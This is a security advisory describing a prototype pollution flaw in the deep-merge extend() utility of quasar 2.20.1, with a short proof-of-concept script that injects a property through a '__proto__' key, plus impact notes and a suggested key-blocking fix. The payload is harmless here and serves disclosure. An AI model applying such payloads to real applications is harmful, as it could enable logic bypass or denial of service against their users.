GHSA-3r53-75j5-3g7j

### Summary

`quasar@2.20.1`, the latest published version at the time of testing, appears to be vulnerable to prototype pollution through the public `extend()` utility exported from the package root.

When `extend(true, target, source)` is used for a deep merge, attacker-controlled object keys are recursively copied into the target object without blocking prototype-pollution primitives such as `__proto__`, `constructor`, or `prototype`.

This can allow attacker-controlled properties to be written to `Object.prototype`.

### Details

Affected source:

```text src/utils/extend/extend.js ```

Distributed files include:

```text dist/quasar.server.prod.js dist/quasar.server.prod.cjs dist/quasar.client.js ```

The package root publicly exports `extend`. During deep merge, source object keys are recursively assigned into the target object. If the source object contains an own `__proto__` property, the merge can descend into the prototype object and assign attacker-controlled properties onto `Object.prototype`.

### PoC

```bash rm -rf /tmp/quasar-extend-pp-poc mkdir /tmp/quasar-extend-pp-poc cd /tmp/quasar-extend-pp-poc

npm init -y >/dev/null npm install quasar@2.20.1 vue@3.5.31 >/dev/null

cat > hack.mjs <<'JS' import { extend } from 'quasar';

delete Object.prototype.polluted;

extend(true, {}, { ['__proto__']: { polluted: 'yes' } });

console.log(({}).polluted);

delete Object.prototype.polluted; JS

node ./hack.mjs ```

Observed output:

```text yes ```

Expected output:

```text undefined ```

### Impact

This is a prototype pollution vulnerability.

If an application passes user-controlled or partially user-controlled objects into `extend(true, ...)`, an attacker may be able to pollute `Object.prototype` in the same JavaScript process.

Depending on how the polluted property is later consumed, this may lead to logic bypass, unsafe default option injection, denial of service, or other application-specific security impact.

### Suggested Fix

Reject or safely ignore dangerous keys before assignment, including:

```text __proto__ prototype constructor ```

The merge implementation should also avoid descending into prototype-related properties during recursive merge.